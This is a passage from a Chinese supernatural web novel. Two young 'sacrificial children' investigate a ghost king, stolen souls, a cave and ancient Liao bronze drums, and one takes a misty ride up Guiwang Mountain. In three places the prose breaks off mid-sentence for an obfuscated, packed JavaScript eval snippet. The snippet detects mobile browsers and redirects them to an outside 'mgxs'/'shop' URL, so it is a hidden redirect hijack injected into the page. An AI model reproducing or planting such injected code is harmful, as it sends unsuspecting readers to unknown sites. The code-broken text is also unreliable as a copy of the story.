“你说,他还跟在我们身后吗?”郑咏絮紧张地问易无钦,“我不敢回头看。” 易无钦轻声说,“我也不知道。但我没有刚才那种被注视的感觉了,他应该是不在了吧。” 郑咏絮松了口气,看着人来人往的热闹街道,心里的害怕消散了大部分。 金小萍忙着用手机回复信息,倒是没注意到他俩的异常。 “我下午还要上课,就不跟你们一起吃午饭了,我回学校去吃。郑元哥哥说他开车送我回学校。”她对二人说。 易无钦想了想,“你让他来金盛店里接你吧。昨天朋友给我寄的东北特产到了,你拿点零食去学校吃。” “要得,谢谢哥哥。” 三人来到金盛的旅馆,易无钦拿了不老林糖和一些肉干给金小萍,“看看喜不喜欢吃,喜欢的话我让朋友再寄点过来。” “嗯嗯,好。”金小萍拿着零食,正好郑元也到了,将她接走送去学校。 易无钦在前台的柜子里翻出一些特产给郑咏絮。 “这些蘑菇是东北特有的,炖鸡汤很好吃。”他拿出来给郑咏絮看。 郑咏絮却说,“我拿回去也是丢给我妈。不如你去我家的时候给她吧,她应该会喜欢。她喊我叫你去家里吃饭呢。” 易无钦脸一红,抬头看看店里,金盛去楼上收拾了,一楼就他俩。 他在郑咏絮旁边沙发坐下,“我还没问你,你对外是怎么说咱俩关系的?”他补了一句,“总不可能说我俩是鬼王的祭童吧。” 郑咏絮说,“我说的是你在追我。” 易无钦愣住了,没想到她的答案如此直接。 “不然我怎么解释嘛。咱们是年轻人,情情爱爱的很正常。我这样说,金万堂就信了。”她翻出颈间的金坠子,“我妈上次还怪我随随便便收了这么个金东西。我要是不说是你追我送的,又该怎么解释呢?” “好吧,好吧,是我在追你。”易无钦点点头,没有察觉到自己的嘴角在上扬。 金盛从楼上下来了,“说啥呢?这么开心。” “没啥,没啥。”易无钦站起来,“哥,今天忙不忙?我来帮你。” 金盛摆摆手,“今天星期天,入住的不多,我一个人能对付。你和咏絮去玩儿吧。” “哥,你吃饭了没?”郑咏絮起身问到,“我想去吃对面那家烤鱼,一起吧?” 金盛看了他俩一眼,摇摇头,“你俩去吧,我在隔壁叫碗米粉吃。” 周日来镇上玩的人仍然不少,餐馆的生意也很好。易无钦和郑咏絮有心说说上午的事,奈何人多嘈杂聊不开。 “咱们下午去一个地方,在那里聊吧。”易无钦说,“我有些猜想,咱们也一起分析分析。” “好。”郑咏絮点点头,专心吃起了烤鱼。 20. 残缺 易无钦说的地方是五六-四厂的疗养院。他带上笔记本电脑,又拿了东北特产。郑咏絮听说是去看望郑飞,在街边买了点水果。 郑飞正在院里的空地上晒太阳,看见他俩很高兴,手舞足蹈。 “婆婆,这是东北特产,都是零食,看看郑飞哥哥喜不喜欢。这个人参片是给你的,你拿来泡水喝,对身体好。水果是咏絮买的,新鲜水果,好吃得很。”易无钦将特产和水果都交给梁婆婆。 他跟郑飞简单说了几句话,找了个小桌子放在院中。他把笔记本放在小桌子上,打开播放器,给郑飞放下载好的电影。 “这是去年的美国大片,很好看,里面各种超能力的人,组成一个队伍打坏蛋。”易无钦给郑飞说。 郑飞也很开心,“我要看,我要看。” 随着电影开始播放,郑飞很快就沉浸在炫目的特效和精彩的剧情里。好几个晒太阳的病人也慢慢凑过来跟着一起看。 易无钦和郑咏絮坐在走廊下看着他们。 “你晓不晓得,郑飞、金海军和我,还有金盛,都是小时候在一起耍的小伙伴。”易无钦对她说,“但是现在,金海军死了,郑飞痴傻了,我是祭童,只有金盛哥哥和另一个去广州打工的韦浩哥哥还好端端的。” 郑咏絮看着他,“你觉得这其中有什么联系?” 易无钦点点头,“我怀疑跟当年去山洞探险有关。”他向郑咏絮讲述了小时候探山洞的事情。 “去山洞探险是金海军提议的,也是他带我们去。他作为大哥走在前面,二哥就是郑飞走在最后。我们排成一个队伍,手拉着手,中间的人两只手都拉着人,只有大哥二哥没有。出来后,二哥说他空着的那只手,感觉到有人在拉他。” 平淡的讲述却让郑咏絮仿佛身临其境,立即起了密密麻麻的鸡皮疙瘩,忍不住将板凳搬到有太阳照着的地方,让暖洋洋的太阳祛除那股寒意。“你是说,如果这些都跟鬼王有关的话,从你们小时候就开始布局了?金海军从那个时候就为金万堂做事?” 易无钦垂下头,“为他做事是肯定的。不过我宁愿相信他当年并不知道具体是怎么回事,金万堂只是让他带我们进山洞而已。” “那个山洞,跟鬼王有关?”郑咏絮问。 “未必见得。金盛哥哥以前在煤矿工作,他说他后来去过那个山洞,甚至不止他,好多人都去过。但那只是个普通的山洞而已,什么奇怪的也没有。”易无钦回答道。 郑咏絮若有所思,“那个山洞再普通也是鬼王山的山洞。也许,山洞就是鬼王的领地,只要它想,它可以去到任何一个山洞。” “哇哇哇,飞船掉下来了。”看电影的郑飞惊咋咋地喊起来,引得周围的人一阵笑。 易无钦看着郑飞,“咱们再来说说他和金海军吧。” “金海军,”郑咏絮回想起上午那一幕,心有余悸,“他不去吓他亲妹,缠上我们了?亏我还给他烧了那么多纸钱。那我们是不是也要去找三姨婆,让那个吴大师画个符。” “还有,你上午看见的他是啥样?”她问到。 易无钦回忆了下,“我看见他在田坎上看着我们。那张脸跟我在东北时见过的一样,毫无生气。” “你看见他的脸了?”郑咏絮低声惊呼,“我每次看见的都是他的背影。但是,他虽然背对着我,实际上我能感觉到他一直在看我。真神奇,咱俩看见的还不一样。” “昨天那个吴大师说他现在成了恶魂,魂魄不全的恶魂。”易无钦说,“我记得当时在东北,在咖啡馆,你告诉我,金海军死的那个晚上,要不是你及时赶来,他起码夺我一魂一魄。” 郑咏絮点点头。 “为什么?” 郑咏絮摊摊手,“其实我也不知道为什么。是金万堂教我,如果要对你说明鬼王祭童的情况,那就这样说,感觉听起来挺有气势,我就对你这么说了。” 易无钦沉默了一下,抬手指了指郑飞,“你再看看他,像不像是丢了一魂一魄。” “什么?”郑咏絮从板凳上跳起来,“我当时是为了吓唬你才这样说的,难道真有夺人魂魄的事?” “金海军在我隔壁住了两个月,我一次也没见过他。但你见过,你最后一次见到金海军的时候他有没有异样?”易无钦问。 郑咏絮仔细回忆了一下,金海军出发去东北前,她确实见过他。在金万堂的茶楼里,和金小萍道别,叫她要好好读书。 “没啥异样,反正不是郑飞这样。” 易无钦把板凳搬到郑咏絮旁边,用只有两个人才听得清的声音说,“我隔壁的老孙头跟金海军接触过,如果他不正常的话,那老孙头一定有所察觉。但他没说这一点,那说明金海军是正常的。所以他是死后才变得魂魄不全,而郑飞哥哥是活着就被夺了一魂一魄。” “难道说,你们当初进了那个山洞,迟早都会魂魄不全?那魂魄去哪儿了?”郑咏絮惊道。 “不知道,现在就郑飞和金海军出现了这样的情况。” “可是,魂魄残缺是现在才有的事吧?以前都没有。”郑咏絮忽然说。 易无钦一愣,“以前?应该以前也有吧,民间不是一直有丢魂喊魂的说法吗?只是归望镇的人不知道这跟鬼王有关吧?” “不是的,以前没有。”郑咏絮说得笃定,她对上易无钦探究的目光,连忙解释,“你看金万堂不就好好的吗?” “他?” 郑咏絮点点头,“伯父告诉我,金万堂能跟鬼王沟通,具体什么方式除了金万堂没人知道。”她耐心解释,“原本伯父是不相信的,但金万堂就靠着鬼王的指引,能在这山里找到最好的煤脉。所以他发家最快,别人的煤都比不过他。” “真正让伯父信服的,是有几次,金万堂预知了矿里的危险。他让工人带着设备提前撤退,危险发生时,几乎没受损失。归望镇其他家煤矿或多或少都出过事,一出事就很麻烦。只有金万堂没有,所以伯父相信真的是有鬼王相助。” 易无钦沉思片刻,“整个归望镇,只有金万堂能跟鬼王沟通吗?” “目前看来是,”郑咏絮低着头,“反正我没有在其他人那里听说过鬼王。” “但金万堂能跟鬼王沟通,不代表以前就没鬼王夺魂魄的事。鬼王在人间行走,也是需要话事人的。金万堂要是变成郑飞这个样子,还怎么帮它做事?”易无钦分析道。 “你说的也有道理。”郑咏絮点头。 梁婆婆端了个高凳子过来,将洗好切块的水果放在上面让易无钦和郑咏絮吃。她又端了另外一盘给郑飞和其他病人分享。 易无钦看着他们长叹一声,“郑飞哥哥还有他奶奶和家人照顾,但我现在是个孤儿。要是真的失去一魂一魄变痴傻了,都没人能照顾我。” 郑咏絮默默捡了块苹果吃,过了好一会儿,才说,“不会的,我们不会成为那样。” “你……”易无钦正想问问她为啥这样肯定,郑咏絮先打断了他, “我想,我大概猜到金海军带你们进山洞做什么。” “做什么?” 郑咏絮看着他,“让鬼王选祭童。” 易无钦闻言沉默了,过了好一会儿才说,“于是,鬼王选中了我。” “但金万堂一开始不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17526750|203544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道是你,以为是郑飞。后来大概他又跟鬼王沟通后,才知道是你。”郑咏絮说。 她想起了之前无意中偷听到的一段对话。 在伯父郑高志告诉她祭童命运后不久,有一次在金万堂的茶楼里。 金万堂和郑高志还有金海军,三人商量着什么,她在里面的书房玩电脑。 原本他们关着书房门,但她嫌闷将对着谈事厅的窗户打开了一条缝。 一些对话也隐隐约约传到她耳里。 “错了,不是郑飞。是东北那个。” “当年郑飞出了山洞说有人在拉他手,我就一直以为是他。” “不怪你,鬼王都没判断对。” “看来要派人去东北了。” 这段对话涉及到了“鬼王”,让郑咏絮印象非常深刻,再结合目前两人的推断,一些事情也能串联起来了。 “可即便郑飞被误判了,那为何还要把他变成这个样子?”易无钦有些愤懑。 郑咏絮说,“郑飞是很多年前就成这样了,应该跟金万堂无关。但一定跟鬼王有关。” 易无钦看着高凳子上的水果,“有件事情我觉得有点奇怪。” “什么?” “你说鬼王那么厉害,夺人魂魄,还让咱俩成了祭童。但我在归望镇几乎没怎么听到关于鬼王的传说。”他指了指正在给郑飞换背上汗巾的梁婆婆,“梁婆婆是老人了,相信迷信那套。但我上次问过她,她根本不知道有啥鬼王。她说是这个山叫鬼王山是因为山上有一块长得像鬼的大石头。” 郑咏絮想了想,“的确,我们从小叫它鬼王山鬼王山,但从来没听说什么有关鬼王的传说。要不是你和我确实有这些遭遇,我也很难相信真有鬼王。而且不止梁婆婆,就连我三姨婆那么迷信的一个人,也没有听她说过鬼王。” “所以这个鬼王到底是个什么东西,咱们还得好好查查。” 易无钦正说着,忽然手机来了电话,是历史老师黄衡给他打的。 “黄老师,下午好。” 黄衡在电话里笑呵呵,“小易,不好意思,开学这段时间有点忙。” “没事没事。” “你年前让我看的那个图案,我不是托人问嘛,还真问到了。” 易无钦立即双目放光,将电话改成免提,让郑咏絮一起听,“您说,您说。” “这个图案应该是西南那里的僚人,他们用铜鼓,鼓就是这样的。那个动物应该是青蛙,他们叫蚂拐,是僚族的一种崇拜。” “僚人?” “对。我有个同学是渝州人,他就是研究这个的,他说你去的那个归望镇就有一些南僚的遗迹。我把他电话给你,你可以跟他联系,了解更多一点。” “好的,谢谢黄老师,太感谢了。” 挂掉电话后,两人对视,都是一片茫然。“你听说过僚人吗?”易无钦问。 郑咏絮摇头,“从来没有。我的天,我还是归望镇的人吗。怎么这些东西我都没听说过。” “哈哈哈,也正常。我一个东北人,姥姥又是迷信的,我也不大了解五大仙嘛。”易无钦笑起来,将刚才沉闷的气氛打破。 黄衡的微信很快就发过来了。 “僚人研究,姜放。”易无钦念出信息内容。 “姜放?”郑咏絮愣了一下。 易无钦问,“怎么,你认识?” “不认识,”郑咏絮回答,“不过他马上要来我们学校做讲座报告。本来不是我们部门负责,但他说想来图书馆参观看书,所以我也要负责接待。” “太好了,咱们可得好好请教他。” 21. 灵石 郑咏絮当天晚上就做起了奇怪的梦。 首先就是梦见了金海军,然后是郑飞。 他们带着她走在山洞里。她四处张望,想找易无钦的身影。 念头一起,四周便出现了很多身影,全都是看不清脸的。但她明明白白知道,易无钦不在这些身影里。 金海军和郑飞带着她一直往前走,那些身影也簇拥着她。 山洞不知道有多深,反正就这样一直走一直走。郑咏絮开始怀疑这个山洞到底有没有尽头。 忽然,眼前一片开阔,与刚才狭长逼仄的通道形成鲜明对比。 郑咏絮打望四周,发现还是在山洞里。 中间突然出现了一只鼓,硕大的鼓,得有一个乒乓球台那么大。郑咏絮走近了去看,发现这只鼓竟然是石头材质。 忽然,石鼓开始响,发出“咚咚咚”的声音。 郑咏絮觉得很奇怪,这明明是石头,为啥声音听起来像铜鼓。 鼓声越来越密集,周围那些身影围绕着石鼓开始跳舞。 郑咏絮知道他们应该是在举行什么仪式,只不过在她看来,这些肢体语言奇奇怪怪的,根本看不懂。 那些身影一边舞动身体,一边往石鼓上跳。 在他们跳上石鼓的瞬间,石鼓变成了一大片云,那些人坠入云中立即不见。石鼓像是海绵一样,将这些人吸收了。 除了郑咏絮,没有人觉得奇怪。越来越多的人跳上去,又被吸入其中。到最后,金海军和郑飞也被吸收了。 被吸收的人挤在石鼓里,他们一边慢慢融合,一边向郑咏絮招手,叫她一起跳进来。 “快来,快来。” * 易无钦早上八点多醒来时,看见了郑咏絮给他发的微信。 信息是六点时发的,让他醒了就回电。 他立即拨打电话过去,郑咏絮几乎是秒接。 “我这会儿还在交通车上,马上下车了再跟你说。” 等易无钦洗漱完,郑咏絮电话回过来了。 “我昨晚做了好诡异的一个梦。”电话那头的郑咏絮语气里都是掩饰不住的心有余悸。 她对易无钦详详细细讲了梦境的内容,“我被吓醒时是五点多,再也睡不着。在床上一遍又一遍回想这个梦。” “你还好吗?”易无钦关心道。 郑咏絮回答说,“只要不是金海军在现实中缠着我,区区一个梦算什么。只是我觉得这个梦的内容太奇怪了,虽然我还是有点害怕,但它肯定是有什么意思在里面。” 她说,“我梦见金海军和郑飞还有那些人,全都跳进了鼓里。再想想我们白天讨论的内容,像不像是,这个石鼓吸收了他们的魂魄?” 易无钦想到了自己之前也做过关于鼓的梦。他把当时的记录翻出来,对郑咏絮讲了这个梦境。 “先不说魂魄的问题,你看看,咱俩都梦见了鼓,看来这个鼓是有重要含义的。”他顿了顿,继续说,“当时我被金海军魇住时,也是听到了鼓声。” 郑咏絮继续说,“你那位老师说鼓是什么僚人的,而且我梦见的那些人跳着奇怪的舞,感觉也很少数民族,会不会都跟这个僚人有关?你知道的,我们大西南山高林深的,有奇怪的本地人不知道的东西也实属正常。” “肯定有关系。”易无钦说,“对了,那个姜放教授什么时候去你们学校开讲座?” “下周来。”郑咏絮说。 易无钦看了看时间,“这样吧,我待会儿给他打个电话,等他来的时候,咱们尽量和他当面多沟通了解。” “行。”郑咏絮说完准备挂电话。 “咏絮,”易无钦叫住了她。 “还有啥事?” 易无钦顿了顿,“你今天,还好吗?害不害怕?” 郑咏絮奇道:“怕什么?梦境还是金海军?” “金海军,昨天我见你很害怕,担心今天他又去找你。”易无钦想了想,“要不我来学校陪你?我就在你们图书馆看书。” “没事的,学校里人多,我不怕。昨天晚上回到家我仔仔细细想了想,不该那么害怕的。我们要经历和面对的情况复杂多了,区区一个金海军我就害怕了,那后面怎么办?”郑咏絮边打电话边看见同事朝她招手,好像是有什么事,“好了,我有事要忙,先挂了哈。有事再打电话。” 挂掉电话后,易无钦看看窗外,连续两日晴天后,今天天气变得阴沉。似乎气温也降低了,街上的人都不像周末穿的那样少,有些甚至穿上了羽绒服。 春天的归望镇,天气就是这样反复无常。易无钦从箱子里翻出厚外套,穿在身上,下楼去吃早饭。 今天的早饭是小笼包加绿豆稀饭。 周末两天易无钦都吃得比较好,也比较辛辣,肠胃稍微有点受不了。稀饭和包子简直太清爽养胃了,他痛痛快快喝了两碗。 吃完早饭,易无钦主动去厨房洗碗,金盛在旁边门面看货架布置。 等忙完后,差不多是九点半了。易无钦觉得时间合适,拿出手机给那位姜放教授打电话。 “姜老师,您好,我是黄衡老师的学生易无钦。” 对方显然已经听黄衡说过了,也知道他打电话是问啥。 “听说你现在是在归望镇旅居?” 易无钦赶紧称是。 “我下周要在宾化的大学作讲座,但我可能会提前到这个星期就来归望镇,拜访一位朋友。” 易无钦大感惊喜,“那太好了,您是哪天来呢?我去接您。” “呵呵,不用接我。大概周五吧,到时候我提前给你打电话。” “嗯嗯,好的,谢谢姜老师。咱们见面聊。” 挂掉电话后,易无钦立即给郑咏絮发信息说了这件事。过了好一会儿,郑咏絮才回他说要是她有空就一起去,没空就他先去。 姜放的电话像意外之喜一样让易无钦心里安定了很多。他正准备去帮金盛做事,却收到师兄的电话,让他现在开始设计画面。 他只好立即回到房间去开电脑工作。 初稿的概念图倒是不难,不需要太细节,只是师兄交代过来的任务有些多。易无钦哼哧哼哧忙了三个小时才交稿。 金盛见他下楼了,去厨房将两个人的饭菜摆出来。易无钦看见了觉得有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17526751|203544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点不好意思,“让你等久了。” “反正我也在忙,晚点吃不打紧。”金盛安慰说,“我妈说她用你那个什么菇炖了鸡汤,鲜得很。晚上给我们送点过来,她用土鸡炖的。” 易无钦嘿嘿笑着,和金盛边吃边聊。 刚吃完饭,门口就响起了喇叭声。他俩抬头去看,原来是郑元开车过来了。 “郑元,吃饭没有?来将就吃点?”金盛热情地打招呼。 郑元从车上下来,哈哈一笑,“我早就吃过了。现在都两点了,你们才吃完啊?” “上午在忙,吃得晚。”易无钦边收拾边解释。 郑元大剌剌坐在沙发上,“那忙完没得?忙完了我带你去兜风。” “兜风?”易无钦不明所以。 “对头,我带你去鬼王山上耍。”郑元解释,“有个大老板想在山上投一个文旅康养项目,我去帮忙看看场地。正好你也是学美术的,帮我看看设计。” 易无钦哭笑不得,“我是设计画面,不是设计这种地产项目的。” 郑元满不在乎挥挥手,“都差不多。我带你去山上看一圈。今天虽然天气没得前两天好,但是不影响鬼王山的风景好,说不定还能看到云瀑。反正你也是坐车,不用走路。” 金盛听了也笑着说,“反正你来了这段时间都没去鬼王山上耍过,正好坐郑元的车,难得的机会。” 说到这个份上,易无钦也没有再推脱。横竖师兄那里的客户今天下午是不会出修改意见的,设计要改也是明天了。自己也确实该去鬼王山上看看。 他让郑元稍微等等,自己去厨房把碗筷都洗干净收拾好了,再去房间里换了件更保暖的衣服和裤子,这才坐上了郑元的车。 * 鬼王山是座矿藏资源十分丰富的山,过去十年二十年间,挖矿的煤窑特别多。只是因为资源被过度开采,最近几年被叫停,私人煤矿都关掉了。 这几年旅游的人多了,很多人又把眼光放在了鬼王山的旅游发展上。虽然归望镇的夏天十分酷热,但鬼王山上有海拔1400米左右的地方就很凉爽。偶尔有渝州城里的人夏天来搭帐篷避暑,在农户家买菜买山货。有老板就看到避暑康养的商机,当地政-府也乐见旅游的发展,正好也可以趁当初挖煤修建好的道路电网等基础设施。 山路蜿蜒,但好在郑元开车很稳,非常照顾坐车人的感受。这让易无钦感觉很好,没有晕车的难受。 “兄弟,我跟你说,你别看鬼王山没啥名气,比不过前面的金佛山和后面的仙女山。但鬼王山的景色美得很,特别是山上的云瀑,最好看。”郑元眉飞色舞给易无钦介绍,“鬼王山的云有一种特点,突然就生出来了,大片大片的。归望镇的风又大,大风一吹,云铺天盖地飞过来,包围在你身边。《西游记》你看过吧,就跟里面的天宫一模一样。你就当自己成神仙了。” “鬼王山,金佛山,仙女山,”易无钦念叨着,“这些山的名字好有意思。是有什么传说故事吗?” “哈哈,是有意思。”郑元踩了一脚油门,“走,兄弟,我带你去传说中的鬼王石,让你晓得这个山为啥叫鬼王山。” 22. 云瀑 随着山路继续蜿蜒,鬼王山的景逐渐呈现在眼前。易无钦学地理的时候听老师讲过,渝州是亚热带常绿阔叶林,即使是冬季,大多数树木上仍然长着绿色的叶子。 现在是春天,景色更丰富了。有常青的树,也有枯枝正吐新芽的树,甚至还能看到一簇簇映山红盛开。虽说是阴天天气,但也赏心悦目。 郑元在一处路边停下,示意易无钦下车。 他在前面带路,从草丛和矮木林里穿行。而这一段本就没什么现成的路,全靠踩出来。 易无钦庆幸自己穿的是防滑登山鞋,勉强能适应走这样的路。他看看前面的郑元,就一双普通的板鞋,走得上好,丝毫不被脚下的枝桠阻碍。 他自叹不如。 走到一个小山坡上,一块大石立在前面。 郑元朝大石指了指,“这就是鬼王石。” 易无钦立即瞪大了眼睛仔仔细细去看,那块大石大概得有五六米高,光秃秃的,连青苔和杂草都没有。形状倒是奇怪,但说不出来到底像什么。角度不一样,说像乌龟、老虎、狮子甚至人,都可以。 “这就是鬼王石?哪里像鬼王?”他忍不住发出了疑问。 郑元嗤笑一声,“谁见过鬼王,还不是乱说的。而且我听说鬼王山不是因为这块石头,是因为整个山像鬼王。但你觉得这个山像不像嘛?” 易无钦仔细想了想平时在山下看到的山体,“不像。” “对嘛,我也觉得不像。谁知道这鬼名字咋来的。”郑元吐槽。 “那这块鬼王石?” 郑元摆摆手,“来旅游的人多了,我们镇就要有点文化。这块石头就是我们的文化。以前因为呼呼的风声在山上听着恐怖叫它鬼王的化身。但有文化后它就改名叫归望石,归来的归,读望天书的望。说是一个堂客在这里看她那个去打仗的老公好久回来,看的时间久了化成了一块大石头。有些人还说旁边那块小一点的石头是她儿子,跟她一起望。” 易无钦再次去看大石,觉得这样一解释,确实有几分像一个妇人带着孩子。 “其实这个故事也是前些年编出来的,我妈老汉小时候都没听过。”郑元说,“毕竟归望这个名字总比鬼王好,听起水平就高。” 看够了,郑元带他往下走,走到一个稍微平坦的地方。 “这个地方可以看整个归望镇。” 易无钦站在这里,朝郑元指的方向望去,果然将整个镇尽收眼底。近处乡间大片的油菜花田,中间熙熙攘攘热闹的老街,远处破落荒芜的五六-四厂,都在眼前清清楚楚。 “这里政-府要修一个观景台,过段时间就动工。”郑元指着这个地方,又指指大石的方向,“那里肯定也要修个啥子东西,当成景点。好让上山的人有耍的地方。” 一阵山风吹来,呼呼的,吹得易无钦一阵窒息。 “这个风好冷哦,又大又冷。”他将防寒服外套的拉链拉到顶,衣服上连着的帽子也扣到脑袋上。 “归望镇的风大得很,几乎天天吹风。我们有句话说的是,归望的风一个月吹三次,一次吹十天。”郑元说完哈哈大笑起来。 “见识到了。”易无钦将手揣进兜里,“而且这风对着脸吹,气都不让我喘。” 郑元边笑边指着山顶的方向,“今年山顶要修几个风力发电机,就是因为风大。” “好冷哦,我们还是回去吧。”易无钦吸了吸鼻子,心想这个鬼王山也就这么回事,远不如他想象中诡谲神秘。 郑元却拦住了他,“不慌,兄弟。今天阴天,现在又起风了。说不定马上就有云瀑,我们稍微等一下,可不能错过这等奇观。” 易无钦只好跟着他一起等。 一刻钟后,郑元所说的云瀑果然来了。 初时是云雾飘到这里来,而后山风送了更多云过来。云雾在这里聚集,不再飘散出去。愈积愈多,成了云团。 又是一阵劲风吹来,云团便铺天盖地扑涌下来,笼罩住了二人待着的地方。 “云瀑好看吧?壮观吧?”郑元兴奋地问道。 易无钦点点头。主要是那一下子,云雾朝你扑面而来,感觉很奇妙。 置身云团就跟走在大雾天气里差不多,他朝四周看了看,发现能见度极低,只能看见身边的郑元。而方才还呼呼的风声,现在是一点声响都没有。 所以从这一点来说,云瀑应该从外面看,而不是置身其中。因为待的时间一长,白茫茫一片,看不清听不清,还是有点诡异。 郑元可能也感觉到了,“还好我们是两个,如果一个人的话会害怕。” 易无钦笑道:“我还以为哥你胆子很大。” “胆子再大的人也有怕的时候。”郑元忽凑近他,低声问,“你相不相信这个世界上有鬼?” 易无钦一愣,有点没反应过来。 “你相不相信有?”郑元追问。 易无钦定了定神,“我不知道该不该信,但哥你现在的样子有点吓人,眼神直勾勾的。” 郑元哈哈大笑起来。 笑了一会儿,他才继续说,“听说你们东北人挺相信这个的,你家不信吗?” 易无钦觉得他问得奇怪,但也如实回答,“我姥姥信,我不信。” “你姥姥,”郑元斜睨着他,“她没跟你说过什么吗?这方面相关的?” 易无钦这才反应过来他这是在试探,试探自己到底知不知道鬼王的事情。 “姥姥每天都要在家里烧香,有时要念叨家仙保佑。我肯定是不信的,我是社会主义接班人,不信这个。” 郑元又笑起来,“我们年轻人都不爱信,都是他们老一辈文化少,搞神搞鬼的。”他停顿了下,又问,“哎,你刚才说你姥姥叫谁保佑,啥意思?” “保家仙呀!”易无钦一脸认真地解释,“东北五大仙你知道吧?几乎每个家里都要供奉一位保家仙的。我家也有。至于供奉的是啥,柳仙还是黄仙,那我就不记得了。” “这你都能不记得。”郑元继续问,“那保家仙法力高吗?” “我咋知道,我真不信这个,我相信科学。”易无钦佯装生气瞪了他一眼,“你不是也不相信吗?还问法力高不高。” “我好奇嘛,哈哈。”郑元打哈哈,又接着问,“那保家仙会一直保佑你吗,大老远跟你来这儿?该不会现在就在你身上吧?” “那肯定不能啊,”易无钦装作无语的样子,“供奉它的是我姥姥又不是我。就算它要保佑我,也不会跟着我来这儿。有句话叫,五仙不过山海关。说的是它们出不了东北。” “哦,那可惜了,”郑元惋惜不已,“否则我非得见识见识。看来只能哪天你回东北时带我去看看了。” “哥你咋回事?”易无钦又好气又好笑看着他,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17531243|203544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一会儿说自己不迷信,一会儿又要去看看五大仙,那玩意儿是能随便看的吗?万一你被个来历不明的狐狸精缠上怎么办?” 郑元笑得很夸张,“缠上就缠上呗,你哥哥我反正是单身没结婚,谁怕谁还不一定呢!” “唉。”易无钦忽然长长地叹了一口气。 郑元不明所以看着他,“怎么了兄弟?好端端地叹了这么大口气。” 易无钦苦笑,“要是世上真有神神鬼鬼的就好了,起码能帮忙告诉我爸妈在哪里。其实我姥姥就找出马仙瞧过,根本看不到我爸妈在哪儿。我就说封建迷信不靠谱。” 郑元不知该怎么安慰,只能拍拍他的肩,“兄弟,这些事情要讲缘分。凡事也要往前看。” 笼罩在二人身边的云瀑逐渐散去,山下归望镇的全景又呈现在二人眼前。 “守得云开见月明,”易无钦念了一句诗,“我相信一切都会有结果的。” * 下山回到旅馆,金盛已经去了宾化县回来,并给易无钦带了很多特产。有方竹笋、火锅底料、桃片、麻花、怪味胡豆之类的,全是吃的。 易无钦将钱转给他,又分装好,喊了快递上门来取。 他忽然想起这段时间都没给殷老太打电话,于是走到门外拨了电话。 殷老太很快接起来,“钦钦,你在那边还好吧?” 易无钦回答:“姥姥我挺好的,我给你寄了点渝州的特产,过几天你就能收到。都是吃的,零嘴,您没事打发嘴巴。” “呵呵,好。” 殷老太又问,“身体没出啥毛病吧?” “没有,好着呢。”易无钦在广场上溜达,在无人的地方陆陆续续对殷老太说了这段时间遇到的事和一些猜想。 “夺魂魄?”殷老太在电话里念叨。 “咱东北有类似的说法吗?”易无钦问。 殷老太说,“丢魂嘛,哪里都这样说。不过一般是小孩子,初中生十多岁了其实很少会发生。因为十几岁的男孩子火气是最旺的,神鬼难近。所以你那个哥哥,肯定是被做局了。至于死在你隔壁那个人,在东北时,他的魂就不对劲儿了。他亲妹妹不就遇上了吗?” 她继续说,“除了你说的那个教授,你还可以去那女娃儿的三姨婆的道观,问问那位画符的师傅,说不定他能知道些什么。” “好。” 殷老太想了想,又说,“这样,明天我也去问问,给你做个固魂的护身符戴在身上。” 易无钦说“好”,又补充了句,“姥姥你做两个吧。” 电话里的殷老太明显笑了一声,“还有一个给那个女娃儿?她是你女朋友了吗?” 易无钦脸唰红,幸好殷老太在电话那头看不见,“不是啦,我俩都是祭童嘛,同命相连的。” 殷老太不依不饶,“都怪老刘以前管你管得太紧,害得你一点恋爱经验都没有。不然早就谈上了。” 易无钦低下头,“我没往这方面想。现在也不是谈恋爱的时机呀,我还不知道那个鬼王啥时取走我的小命。” 殷老太急了,“谈恋爱有啥时机不时机的?又不是早恋。你年纪轻轻的不谈恋爱干什么?我和你姥在你这个年纪早就身经百战了。” 她又说,“至于那个鬼王,虽然现在敌在暗你在明。但你一定要有一个信心,你一定能打败它。不要忽视这种信念的力量。” 23. 南僚 接下来的几日,易无钦忙着完成师兄客户的设计,除了抽空去看了一次郑飞,哪儿也没去。 等他终于交稿松口气时,姜放的电话恰好来了。 他趁着来宾化的大学做讲座,先来归望镇。约易无钦在山水村见面。易无钦马上给郑咏絮打了电话。不巧,领导叫开会,请不了假,她来不了。 易无钦一个人早早就到了约定地点。 在村委会门口等了一会儿,等到一辆贴了“公务用车”车贴的车开了过来。 车子停稳后,一个小伙子先从副驾驶下来,忙不迭拉开后座的门。后座下来了一个约莫五十岁戴眼镜的男人,手里拿着背包往肩上背。 “姜教授,您真的不需要我们陪您去吗?”小伙子诚恳地问。 男人摆摆手,“不用不用,你忙你的。我约了人一起。” 